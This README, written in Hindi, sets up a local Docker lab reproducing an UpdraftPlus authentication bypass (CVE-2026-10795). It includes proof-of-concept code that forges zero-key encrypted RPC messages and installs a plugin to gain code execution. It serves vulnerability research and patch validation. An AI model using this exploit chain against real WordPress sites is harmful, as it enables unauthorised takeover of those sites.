
इस रिपॉजिटरी में CVE-2026-10795 को पुनः उत्पन्न करने और मान्य करने के लिए एक स्थानीय Docker लैब है, जो UpdraftPlus WordPress प्लगइन को उसके UpdraftCentral रिमोट संचार परत के माध्यम से प्रभावित करने वाली एक अनप्रमाणित प्रमाणीकरण बायपास भेद्यता है।
कमजोर व्यवहार UpdraftCentral RPC संदेश हैंडलिंग प्रवाह में मौजूद है। कमजोर संस्करणों में, एक गढ़ा हुआ format=1 RPC संदेश हस्ताक्षर सत्यापन को बायपास कर सकता है, एक विफल RSA डिक्रिप्ट पथ को ट्रिगर कर सकता है, और फिर भी एक पूर्वानुमेय null key/null IV व्यवहार के साथ सममित डिक्रिप्शन तक पहुँच सकता है। यह एक क्राफ्टेड एन्क्रिप्टेड RPC संदेश को UpdraftCentral कमांड के रूप में स्वीकार और डिस्पैच किए जाने की अनुमति देता है।
यह लैब दो UpdraftPlus संस्करणों की तुलना करता है:
| Service | UpdraftPlus संस्करण | उद्देश्य | URL |
|---|---|---|---|
vuln | 1.26.4 | कमजोर तुलना लक्ष्य | http://127.0.0.1:8081 |
patched | 1.26.5 | पैच किया गया तुलना लक्ष्य | http://127.0.0.1:8082 |
प्रदर्शित श्रृंखला है:```text Unauthenticated attacker → forged UpdraftCentral RPC request → format=1 signature verification bypass → failed RSA decrypt not rejected in vulnerable version → predictable zero-key/zero-IV decrypt path → forged JSON RPC command accepted → privileged UpdraftCentral command dispatch → plugin.upload_plugin → install and activate marker plugin → hard-coded /usr/bin/id proof endpoint
प्राथमिक भेद्यता authentication bypass है। लैब दर्शाता है कि जब एक privileged UpdraftCentral key state मौजूद होता है, तो bypass को RCE-शैली प्रभाव के साथ जोड़ा जा सकता है, क्योंकि UpdraftCentral वैध plugin प्रबंधन कमांड उजागर करता है जो WordPress प्लगइन्स को install और activate कर सकते हैं।
यह प्रत्यक्ष command injection भेद्यता नहीं है। Code execution प्रमाण RPC authentication सीमा को बायपास करने के बाद authenticated plugin installation कार्यक्षमता का दुरुपयोग करने से प्राप्त होता है।
यह लैब केवल नियंत्रित स्थानीय शोध, source-level समझ और portfolio प्रदर्शन के लिए डिज़ाइन किया गया है।
## सत्यापित तथ्य
| दावा | साक्ष्य | इस लैब में कैसे सत्यापित करें |
| ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| UpdraftPlus 1.26.4 इस लैब में कमजोर है। | कमजोर सेवा नकली `format=1` RPC संदेश स्वीकार करती है और `plugin.upload_plugin` dispatch करती है। | `python3 poc/poc.py --url http://127.0.0.1:8081` चलाएँ। |
| UpdraftPlus 1.26.5 इस लैब में नकली संदेश को ब्लॉक करता है। | पैच की गई सेवा कोई RPC response body नहीं लौटाती और नकली कमांड को dispatch नहीं करती। | `python3 poc/poc.py --url http://127.0.0.1:8082` चलाएँ। |
| यह मुद्दा UpdraftCentral RPC परत में authentication bypass है। | कमजोर संस्करण में एक नकली unauthenticated RPC अनुरोध command dispatch तक पहुँच सकता है। | पोर्ट `8081` और `8082` के बीच `--ping` व्यवहार की तुलना करें। |
| लैब marker प्लगइन को पहले से install नहीं करता। | सेटअप केवल WordPress, UpdraftPlus और एक स्थानीय UpdraftCentral key state install करता है। | PoC चलाने से पहले `/wp-json/cve-lab/v1/id` जाँचें। |
| PoC नकली RPC के माध्यम से marker प्लगइन install करता है। | PoC RPC data फ़ील्ड में ZIP plugin payload के साथ `plugin.upload_plugin` भेजता है। | PoC चलाएँ और फिर `/wp-json/cve-lab/v1/id` का अनुरोध करें। |
| कमजोर target RCE-शैली प्रभाव तक पहुँचता है। | marker प्लगइन एक hard-coded endpoint उजागर करता है जो `/usr/bin/id` आउटपुट लौटाता है। | कमजोर target `uid=33(www-data) gid=33(www-data)` लौटाता है। |
| पैच किया गया target marker प्लगइन install नहीं करता। | marker endpoint पैच की गई सेवा पर `404 rest_no_route` लौटाता है। | `http://127.0.0.1:8082` के विरुद्ध PoC चलाएँ। |
| लैब को UpdraftCentral key state की आवश्यकता होती है। | UpdraftCentral dispatch एक स्थानीय key entry और संबंधित मेटाडेटा पर निर्भर करता है। | `scripts/setup-wordpress.sh` की समीक्षा करें। |
## धारणाएँ और अज्ञात बातें
यह लैब जानबूझकर एक स्थानीय UpdraftCentral key state seed करता है ताकि उस साइट स्थिति को reproduce किया जा सके जहाँ remote control कॉन्फ़िगर किया गया है।
Seed किया गया key state लैब की पूर्व-आवश्यकता है, स्वयं भेद्यता नहीं। यह लैब को कमजोर RPC parsing और decryption पथ को लगातार exercise करने की अनुमति देता है।
लैब यह दावा नहीं करता कि हर UpdraftPlus installation तुरंत exploitable है। प्रदर्शित श्रृंखला एक UpdraftCentral स्थानीय key entry की उपस्थिति पर निर्भर करती है जो एक privileged WordPress उपयोगकर्ता से संबद्ध है।
लैब एक hard-coded `/usr/bin/id` proof endpoint उजागर करने वाले marker प्लगइन को install करके एक नियंत्रित RCE-शैली प्रभाव प्रदर्शित करता है। यह सामान्य web shell, arbitrary command execution parameter, reverse shell, persistence mechanism, credential theft या external callback प्रदान नहीं करता।
PoC केवल स्थानीय targets तक सीमित है और डिफ़ॉल्ट रूप से non-local hostnames को अस्वीकार करता है।
## मूल कारण सारांश
मूल कारण UpdraftPlus के कमजोर संस्करणों में UpdraftCentral RPC संदेशों का अनुचित सत्यापन है।
कमजोर RPC प्रवाह एक `format=1` संदेश स्वीकार करता है। `format=1` पथ को नए संदेश प्रारूपों जैसी signature verification की आवश्यकता नहीं होती।
उच्च-स्तरीय समस्या है:```text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched
असुरक्षित व्यवहार में, RSA डिक्रिप्शन वापस कर सकता है:```text false
असफल डिक्रिप्ट परिणाम को अस्वीकार करने के बजाय, कमजोर प्रवाह जारी रहता है और मान को सममित डिक्रिप्शन परत में पास कर देता है।
प्रभावी कमजोर पैटर्न है:```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);
समस्या यह है कि $sym_key का उपयोग करने से पहले इसे मान्य नहीं किया जाता।
जब $sym_key false होता है, तो cipher सेटअप एक अनुमानित null key/null IV व्यवहार का अनुसरण करता है। इससे ज्ञात शून्य key और शून्य IV का उपयोग करके एक एन्क्रिप्टेड RPC payload तैयार करना संभव हो जाता है।
पैच किया गया संस्करण symmetric key का उपयोग करने से पहले एक गार्ड जोड़ता है:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
यह विश्वास सीमा को बदलता है।
पैच से पहले:```text
failed RSA decrypt result could still reach symmetric decrypt
पैच के बाद:```text failed RSA decrypt result is rejected before command dispatch
यही कारण है कि कमजोर सेवा जाली RPC कमांड भेजती है, जबकि पैच की गई सेवा नहीं भेजती।
## एक प्रमाणीकरण बाईपास कोड निष्पादन की ओर कैसे ले जा सकता है
CVE-2026-10795 को सबसे अच्छा एक प्रमाणीकरण बाईपास के रूप में वर्णित किया जा सकता है, क्योंकि मूल दोष RPC प्रमाणीकरण और संदेश सत्यापन परत में है।
हालाँकि, उस प्रमाणीकरण सीमा को बायपास करने के बाद, हमलावर-नियंत्रित RPC संदेश विशेषाधिकार प्राप्त UpdraftCentral कमांड तक पहुँच सकता है।
एक महत्वपूर्ण कमांड पथ है:```text
plugin.upload_plugin
यह कमांड UpdraftCentral के प्लगइन प्रबंधन कार्यक्षमता का हिस्सा है। यह एक प्लगइन ZIP पेलोड स्वीकार करता है, उसे अस्थायी स्थान पर लिखता है, प्लगइन इंस्टॉल करता है, और अनुरोध किए जाने पर उसे सक्रिय करता है।
इसलिए प्रभाव श्रृंखला है:```text Authentication bypass → forged privileged RPC command → plugin upload through legitimate UpdraftCentral functionality → plugin installation → plugin activation → WordPress plugin code execution
यह कमांड इंजेक्शन नहीं है।
लैब एक मार्कर प्लगइन स्थापित करके कोड निष्पादन प्रदर्शित करता है जो एक एकल एंडपॉइंट उजागर करता है:```text
/wp-json/cve-lab/v1/id
मार्कर प्लगइन कमांड पैरामीटर स्वीकार नहीं करता है। यह केवल चलता है:```text /usr/bin/id
यह प्रमाण को नियंत्रित रखता है और लैब को सामान्य-उद्देश्य वाले वेब शेल में बदलने से बचाता है।
## स्रोत पैच सारांश
प्रासंगिक पैच व्यवहार यह है कि पैच किया गया संस्करण RPC संदेश निकाय को डिक्रिप्ट करने का प्रयास करने से पहले अमान्य सममित कुंजियों को अस्वीकार कर देता है।
महत्वपूर्ण सत्यापन यह है:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
यह कमजोर फॉलबैक व्यवहार को रोकता है जहाँ एक विफल RSA डिक्रिप्ट परिणाम एक अनुमानित सममित कुंजी पथ बन सकता है।
व्यावहारिक परिणाम यह है:```text UpdraftPlus 1.26.4 → forged format=1 RPC message reaches command dispatch
UpdraftPlus 1.26.5 → failed symmetric key validation stops the forged message → command dispatch is not reached
लैब वास्तविक UpdraftCentral प्लगइन अपलोड कमांड पथ को लक्षित करके डाउनस्ट्रीम प्रभाव को भी सत्यापित करता है।
प्रासंगिक कमांड व्यवहार है:```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()
पैच किया गया संस्करण इस कमांड पथ तक पहुंचने से पहले ही जाली संदेश को ब्लॉक कर देता है।
यह अनुभाग स्रोत-कोड स्तर पर कमजोर पथ की व्याख्या करता है और प्रत्येक PoC चरण को संबंधित UpdraftPlus / UpdraftCentral व्यवहार से मैप करता है।
लैब किसी नकली कमजोर एप्लिकेशन रूट पर निर्भर नहीं करती। कमजोर व्यवहार वास्तविक UpdraftCentral RPC लिसनर और वास्तविक UpdraftCentral प्लगइन-प्रबंधन कमांड पथ के माध्यम से पहुंचा जाता है।
महत्वपूर्ण स्रोत क्षेत्र हैं:```text vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php central/bootstrap.php central/listener.php central/commands.php central/modules/plugin.php
### श्रोता निर्माण
कमजोर RPC पथ तब शुरू होता है जब WordPress एक POST अनुरोध प्राप्त करता है जिसमें शामिल होता है:```text
udrpc_message
format
key_name
RPC लाइब्रेरी उन POST फ़ील्ड्स के मौजूद होने पर WordPress wp_loaded पर एक लिसनर पंजीकृत करती है।
संकल्पनात्मक रूप से, प्रवाह इस प्रकार है:```php if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) { add_action('wp_loaded', array($this, 'wp_loaded')); add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000); }
इसका मतलब है कि हमलावर को किसी विशेष REST एंडपॉइंट या एडमिन URL जानने की आवश्यकता नहीं है। नकली RPC अनुरोध WordPress साइट रूट पर एक सामान्य POST अनुरोध के रूप में भेजा जाता है।
PoC भेजता है:```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>
UpdraftCentral स्थानीय रिमोट-कंट्रोल कुंजियों को WordPress विकल्पों में संग्रहीत करता है। इस लैब में, सेटअप स्क्रिप्ट कमजोर और पैच किए गए दोनों लक्ष्यों के लिए एक नियंत्रित कुंजी स्थिति सीड करती है।
प्रासंगिक कुंजी नाम है:```text 0.central.updraftplus.com
यह प्रारूप UpdraftCentral के मुख्य संकेतक तर्क द्वारा उत्पन्न किया जाता है:```php
private function indicator_name_from_index($index) {
return $index.'.central.updraftplus.com';
}
लिस्टनर केवल तभी जारी रहता है जब अनएन्क्रिप्टेड POST फ़ील्ड अपेक्षित कुंजी संकेतक से मेल खाता है:```php if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) { return; }
इसलिए PoC निम्नलिखित सेट करता है:```python
KEY_NAME = "0.central.updraftplus.com"
यह भेद्यता नहीं है। यह एक प्रयोगशाला पूर्वापेक्षा है जो परीक्षण को भेद्य RPC पार्सिंग और डिक्रिप्शन पथ को पुनरुत्पादक तरीके से अभ्यास करने देती है।
UpdraftCentral संदेश प्रारूपों का समर्थन करता है। महत्वपूर्ण अंतर यह है:```text format=1 legacy path format=2 signed message path
कमजोर कोड पथ में, सिग्नेचर सत्यापन केवल तब होता है जब प्रारूप 2 से अधिक या बराबर होता है:```php
if ($format >= 2) {
if (empty($_POST['signature'])) {
die;
}
if (!$this->key_remote) {
die;
}
if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
die;
}
}
क्योंकि PoC उपयोग करता है:```text format=1
इस signature verification ब्लॉक को छोड़ दिया जाता है।
यही authentication bypass की सीमा है।
एक वैध `format=2` message में valid signature होने की अपेक्षा की जाती है। जाली `format=1` message को signature की आवश्यकता नहीं होती, इसलिए attacker-controlled message decrypt path तक आगे बढ़ सकता है।
### कमजोर Decryption प्रवाह
फ़ॉर्मेट और key-name जाँच के बाद, listener प्रस्तुत `udrpc_message` को decrypt करता है।
UpdraftPlus 1.26.4 में कमजोर decryption प्रवाह प्रभावी रूप से इस प्रकार है:```php
$rsa->loadKey($this->key_local);
$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
यह बग इन दो ऑपरेशनों के बीच है:```php $sym_key = $rsa->decrypt($sym_key); $rij->setKey($sym_key);
यदि RSA डिक्रिप्शन विफल हो जाता है, तो `$rsa->decrypt()` लौटा सकता है:```php
false
कमजोर संस्करण उस मान को इसमें पास करने से पहले अस्वीकार नहीं करता:```php $rij->setKey($sym_key);
पैच किया गया संस्करण सत्यापन जोड़कर इसे ठीक करता है:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
यह गार्ड सुरक्षा-संबंधी पैच है। यह एक विफल RSA डिक्रिप्ट परिणाम को सममित सिफर सेटअप तक पहुँचने से रोकता है।
false पूर्वानुमानित हो जाता हैयह कमजोर व्यवहार खतरनाक है क्योंकि इस phpseclib पथ में setKey(false) सुरक्षित रूप से विफल नहीं होता है।
सिफर कोड प्रदान की गई कुंजी से कुंजी लंबाई की गणना करता है:```php $this->setKeyLength(strlen($key) << 3); $this->key = $key;
जब `$key` `false` होता है, `strlen(false)` शून्य-लंबाई वाली कुंजी के मामले की तरह व्यवहार करता है।
Rijndael कुंजी-लंबाई तर्क बहुत छोटे कुंजी आकारों को वैध न्यूनतम कुंजी लंबाई तक बढ़ा देता है:```php
case $length <= 128:
$this->key_length = 16;
break;
सिफर सेटअप फिर कुंजी और IV को नल बाइट्स से पैड करता है:```php $this->encryptIV = $this->decryptIV = str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");
$this->key = str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");
तो हमलावर कमजोर डिक्रिप्ट व्यवहार को इस प्रकार मॉडल कर सकता है:```text
AES/Rijndael-CBC
key = 16 null bytes
iv = 16 null bytes
यही कारण है कि PoC एक JSON RPC कमांड को स्थानीय रूप से एन्क्रिप्ट कर सकता है और कमजोर लक्ष्य से इसे सफलतापूर्वक डिक्रिप्ट करवा सकता है।
कमजोर डिक्रिप्ट फ़ंक्शन अपेक्षा करता है कि एन्क्रिप्टेड संदेश में शामिल हो:```text 3 hex chars length of RSA-encrypted symmetric key, as base64 text N chars base64 RSA-encrypted symmetric key 16 hex chars length of ciphertext, as base64 text M chars base64 encrypted message body
PoC इस संरचना को मैन्युअल रूप से बनाता है:```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
RSA ब्लॉक जानबूझकर अमान्य है:```python BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
UpdraftPlus 1.26.4 पर, वह अमान्य RSA ब्लॉक RSA डिक्रिप्शन को विफल कर देता है, लेकिन विफलता को अस्वीकार नहीं किया जाता है।
UpdraftPlus 1.26.5 पर, विफल डिक्रिप्शन परिणाम नए गार्ड द्वारा अस्वीकार कर दिया जाता है और जाली संदेश कमांड डिस्पैच तक नहीं पहुँचता है।
### आंतरिक JSON RPC संदेश
एन्क्रिप्टेड आंतरिक संदेश UpdraftCentral-शैली का एक सामान्य JSON कमांड है।
पिंग सत्यापन के लिए, PoC निम्नलिखित का उपयोग करता है:```json
{
"command": "ping",
"time": 1710000000,
"key_name": "0.central.updraftplus.com",
"rand": 123456
}
डिफ़ॉल्ट ID प्रमाण के लिए, PoC निम्नलिखित का उपयोग करता है:```json { "command": "plugin.upload_plugin", "time": 1710000000, "key_name": "0.central.updraftplus.com", "rand": 123456, "data": { "filename": "cve-2026-10795-id-marker.zip", "data": "", "activate": true } }
`key_name` एन्क्रिप्टेड संदेश के बाहर और अंदर दोनों जगह दिखाई देता है। listener जाँचता है कि दोनों मेल खाते हैं:```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
die;
}
इसीलिए PoC में दोनों स्थानों पर एक ही कुंजी नाम शामिल होना चाहिए।
संदेश को डिक्रिप्ट करने के बाद, लिसनर इसे JSON के रूप में पार्स करता है:```php $udrpc_message = json_decode($udrpc_message, true);
संदेश में एक मान्य कमांड होना चाहिए:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
die;
}
इसमें एक टाइमस्टैम्प भी होना चाहिए:```php if (empty($udrpc_message['time'])) { die; }
टाइमस्टैम्प अनुमत रीप्ले विंडो के भीतर होना चाहिए:```php
$time_difference = absint($udrpc_message['time'] - time());
if ($time_difference > $this->maximum_replay_time_difference) {
die;
}
The PoC इसलिए आंतरिक time फ़ील्ड को वर्तमान समय पर सेट करता है।
संदेश को डिक्रिप्ट और मान्य किए जाने के बाद, UpdraftCentral कमांड को डिस्पैच करता है।
कमांड एक उपसर्ग प्रारूप का उपयोग करते हैं:```text .
उदाहरण के लिए:```text
plugin.upload_plugin
यह बन जाता है:```text prefix = plugin method = upload_plugin
लिस्नर उपसर्ग से कमांड क्लास को रिज़ॉल्व करता है और फिर मेथड को डायनैमिक रूप से कॉल करता है:```php
$msg = apply_filters(
'updraftcentral_listener_udrpc_action',
call_user_func(array($command_class, $command), $data, $extra_info),
$command_class,
$class_prefix,
$command,
$data,
$extra_info
);
PoC कमांड के लिए:```text plugin.upload_plugin
लिसनर कॉल करता है:```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)
इसीलिए PoC को सीधे कमांड-इंजेक्शन सिंक की आवश्यकता नहीं होती है। यह RPC प्रमाणीकरण सीमा को दरकिनार करने के बाद एक वैध विशेषाधिकार प्राप्त UpdraftCentral कमांड तक पहुँचता है।
लिसनर UpdraftCentral कुंजी मेटाडेटा से वर्तमान WordPress उपयोगकर्ता सेट कर सकता है:```php if (!empty($extra_info['user_id'])) { wp_set_current_user($extra_info['user_id']); }
इस लैब में, सीडेड की (seeded key) में निम्नलिखित है:```text
extra_info.user_id = 1
यह एक कॉन्फ़िगर किए गए UpdraftCentral कुंजी का अनुकरण करता है जो WordPress सेटअप के दौरान बनाए गए व्यवस्थापक उपयोगकर्ता से संबद्ध है।
यह महत्वपूर्ण है क्योंकि प्लगइन अपलोड पथ WordPress capabilities की जाँच करता है:```php if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) { $permission_error = true; }
तो अकेला बायपास नकली कमांड को RPC परत में पहुंचा देता है। सीडेड कुंजी मेटाडेटा यह निर्धारित करता है कि कमांड किस WordPress उपयोगकर्ता संदर्भ में चलती है।
इस लैब में, कमांड एडमिन संदर्भ में चलती है क्योंकि कुंजी उपयोगकर्ता ID 1 से संबद्ध है।
### Plugin Upload Sink
कमांड विधि है:```php
public function upload_plugin($params) {
return $this->process_chunk_upload($params, 'plugin');
}
साझा अपलोड हैंडलर प्लगइन अपलोड डेटा की अपेक्षा करता है:```text filename data activate
PoC भेजता है:```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
अपलोड हैंडलर ZIP सामग्री को एक अस्थायी फ़ाइल में लिखता है:```php $result = file_put_contents( $upload_dir.'/'.$filename, base64_decode($params['data']), FILE_APPEND | LOCK_EX );
गैर-चंक्ड अपलोड के लिए, स्थापना तुरंत आगे बढ़ती है:```php
$install_now = true;
हैंडलर फिर एक ZIP पथ बनाता है:```php $zip_filepath = $upload_dir.'/'.$filename;
और इसे UpdraftCentral प्लगइन अपग्रेडर का उपयोग करके इंस्टॉल करता है:```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);
यदि इंस्टॉलेशन सफल होता है और activate true है, तो कोड इंस्टॉल किए गए प्लगइन को सक्रिय करता है:```php
if ((bool) $params['activate'] && !$is_active) {
$activate = activate_plugin($data['slug']);
}
एक सफल इंस्टॉल प्रतिक्रिया में निम्नलिखित शामिल है:```php
return $this->_response(
array(
'installed' => true,
'installed_data' => $data,
)
);
यह स्रोत-स्तरीय कारण है कि एक जाली RPC प्रमाणीकरण बायपास को WordPress प्लगइन इंस्टॉलेशन और सक्रियण के साथ क्यों जोड़ा जा सकता है।
मार्कर प्लगइन PoC द्वारा मेमोरी में उत्पन्न किया जाता है। यह Docker सेटअप द्वारा पहले से इंस्टॉल नहीं होता है।
उत्पन्न ZIP में शामिल है:```text cve-2026-10795-id-marker/ └── cve-2026-10795-id-marker.php
मार्कर प्लगइन एक REST रूट पंजीकृत करता है:```text
/wp-json/cve-lab/v1/id
एंडपॉइंट निम्न लौटाता है:```text lab plugin proof uid gid user id_output
मार्कर प्लगइन द्वारा निष्पादित एकमात्र कमांड हार्ड-कोडेड है:```php
shell_exec('/usr/bin/id 2>&1');
There is no user-controlled cmd parameter.
यह जानबूझकर है। प्रयोगशाला एक सामान्य वेब शेल से बचते हुए प्लगइन-कोड निष्पादन को सिद्ध करती है।
पैच की गई सेवा को वही जाली अनुरोध प्राप्त होता है और उसकी सीड की गई कुंजी स्थिति समान होती है।
अंतर पैच किए गए डिक्रिप्ट गार्ड में है:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
चूँकि PoC जानबूझकर एक अमान्य RSA ब्लॉक प्रदान करता है, डिक्रिप्ट की गई सममित कुंजी अमान्य है।
UpdraftPlus 1.26.5 में, जाली संदेश JSON पार्सिंग से पहले और कमांड डिस्पैच से पहले रुक जाता है।
इसलिए:```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route
यह पैच किया गया व्यवहार सिद्ध करता है कि लैब परिणाम कमजोर UpdraftPlus RPC कोड पथ पर निर्भर करता है, न कि Docker हैरनेस पर।
PoC की शुरुआत गैर-लोकल लक्ष्यों को अस्वीकार करने से होती है:```python allowed_hosts = {"127.0.0.1", "localhost", "::1"}
if host not in allowed_hosts: raise ValueError("Refusing non-local target")
यह स्क्रिप्ट को Docker लैब तक सीमित रखता है।
PoC आंतरिक RPC संदेश बनाता है:```python
inner = {
"command": command,
"time": int(time.time()),
"key_name": KEY_NAME,
"rand": random.randint(1, 2_147_483_647),
}
यदि डिफ़ॉल्ट ID प्रमाण का उपयोग किया जाता है, तो कमांड है:```python command = "plugin.upload_plugin"
और डेटा है:```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
PoC फिर आंतरिक JSON को पूर्वानुमानित कमजोर सिफर अवस्था के साथ एन्क्रिप्ट करता है:```python ZERO_KEY = b"\x00" * 16 ZERO_IV = b"\x00" * 16
cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
यह `false` को सममित सिफर सेटअप में पारित करने के संवेदनशील परिणाम से मेल खाता है।
PoC जानबूझकर एक खराब RSA ब्लॉक का उपयोग करता है:```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
परिणामी udrpc_message उसी लंबाई-उपसर्ग प्रारूप में बनाया गया है जिसकी RPC डिक्रिप्ट फ़ंक्शन अपेक्षा करता है:```python
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
अंत में, PoC नकली RPC अनुरोध भेजता है:```python
fields = {
"format": "1",
"key_name": KEY_NAME,
"udrpc_message": build_udrpc_message(command, data),
}
requests.post(target, data=fields, timeout=timeout)
कमजोर लक्ष्य पर, सर्वर प्रतिक्रिया में एक मान्य RPC-शैली JSON प्रतिक्रिया निकाय होता है। PoC इसे इस प्रकार मानता है:```text RPC DISPATCHED
डिस्पैच के बाद, PoC मार्कर एंडपॉइंट का अनुरोध करके प्रभाव की पुष्टि करता है:```text
GET /wp-json/cve-lab/v1/id
यदि मार्कर प्लगइन स्थापित और सक्रिय किया गया था, तो एंडपॉइंट वापस लौटाता है:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)
वह आउटपुट सिद्ध करता है कि जाली अप्रमाणित RPC संदेश एक विशेषाधिकार प्राप्त प्लगइन स्थापना पथ तक पहुँचा और स्थानीय लैब के अंदर हमलावर द्वारा आपूर्ति किए गए प्लगइन कोड को सक्रिय कर दिया।
## लैब क्या सिद्ध करता है
यह लैब निम्नलिखित तकनीकी श्रृंखला को सिद्ध करता है:```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.
यह लैब यह सिद्ध नहीं करता कि प्रत्येक इंस्टॉलेशन बिना पूर्वापेक्षाओं के शोषण योग्य है।
इस प्रदर्शन के लिए आवश्यक पूर्वापेक्षा है:```text an existing UpdraftCentral local key state associated with a privileged WordPress user
Docker सेटअप दोनों लक्ष्यों में वह पूर्वापेक्षा बनाता है ताकि कमजोर और पैच किए गए व्यवहार के बीच अंतर का उचित परीक्षण किया जा सके।
## प्रयोगशाला आर्किटेक्चर
लैब Docker Compose के माध्यम से दो पृथक WordPress इंस्टॉलेशन चलाता है।```text
.
├── docker-compose.yml
├── scripts/
│ └── setup-wordpress.sh
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── requirements.txt
├── README.md
└── .gitignore
The two WordPress services run separate databases and separate UpdraftPlus versions:
दोनों WordPress सेवाएँ अलग-अलग डेटाबेस और अलग-अलग UpdraftPlus संस्करण चलाती हैं:
Default exposed services:
डिफ़ॉल्ट रूप से एक्सपोज़ की गई सेवाएँ:```text Vulnerable target: http://127.0.0.1:8081 Patched target: http://127.0.0.1:8082
सेटअप प्रक्रिया दोनों सेवाओं में समान UpdraftCentral कुंजी स्थिति को सीड करती है:```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1
यह दोनों लक्ष्यों को समान पूर्वापेक्षा स्थिति देता है। व्यवहार में अंतर कमजोर बनाम पैच किए गए UpdraftPlus कोड से आता है, न कि अलग प्रयोगशाला सेटअप से।
requirements.txt में सूचीबद्ध Python पैकेजPython निर्भरताएँ:```text requests urllib3<2 pycryptodome
`urllib3<2` बाधा कुछ macOS Python बिल्डों पर LibreSSL-संबंधित चेतावनियों से बचाती है।
## त्वरित आरंभ
एक स्वच्छ प्रयोगशाला स्थिति से शुरू करें:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
सेटअप लॉग देखें:```bash docker compose logs -f vuln_setup patched_setup
अपेक्षित सेटअप संकेतक:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln
Please provide the Markdown content to translate.```text Seeded UpdraftCentral key: 0.central.updraftplus.com Plugin updraftplus details: Status: Active Version: 1.26.5 Setup complete for CVE-2026-10795 patched
चल रही सेवाओं की जाँच करें:```bash
docker compose ps
Python वर्चुअल वातावरण बनाएँ और सक्रिय करें:```bash python3 -m venv venv source venv/bin/activate pip install -r requirements.txt
कमजोर लक्ष्य के विरुद्ध डिफ़ॉल्ट आईडी प्रूफ़ चलाएँ:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
पैच किए गए लक्ष्य के विरुद्ध वही प्रमाण चलाएँ:```bash python3 poc/poc.py --url http://127.0.0.1:8082
स्क्रिप्ट को जानबूझकर `--url` विकल्प की आवश्यकता होती है। यह परीक्षक को स्वचालित रूप से दोनों सेवाओं पर हमला करने के बजाय लक्ष्य को स्पष्ट रूप से चुनने के लिए बाध्य करता है।
## PoC उपयोग
डिफ़ॉल्ट व्यवहार:```bash
python3 poc/poc.py --url <local_target_url>
उदाहरण भेद्य लक्ष्य:```bash python3 poc/poc.py --url http://127.0.0.1:8081
पैच किया गया उदाहरण लक्ष्य:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
वैकल्पिक केवल-ping सत्यापन:```bash python3 poc/poc.py --ping --url http://127.0.0.1:8081 python3 poc/poc.py --ping --url http://127.0.0.1:8082
समर्थित विकल्प:
| विकल्प | आवश्यक | उद्देश्य |
| ----------- | -------- | ------------------------------------------------------- |
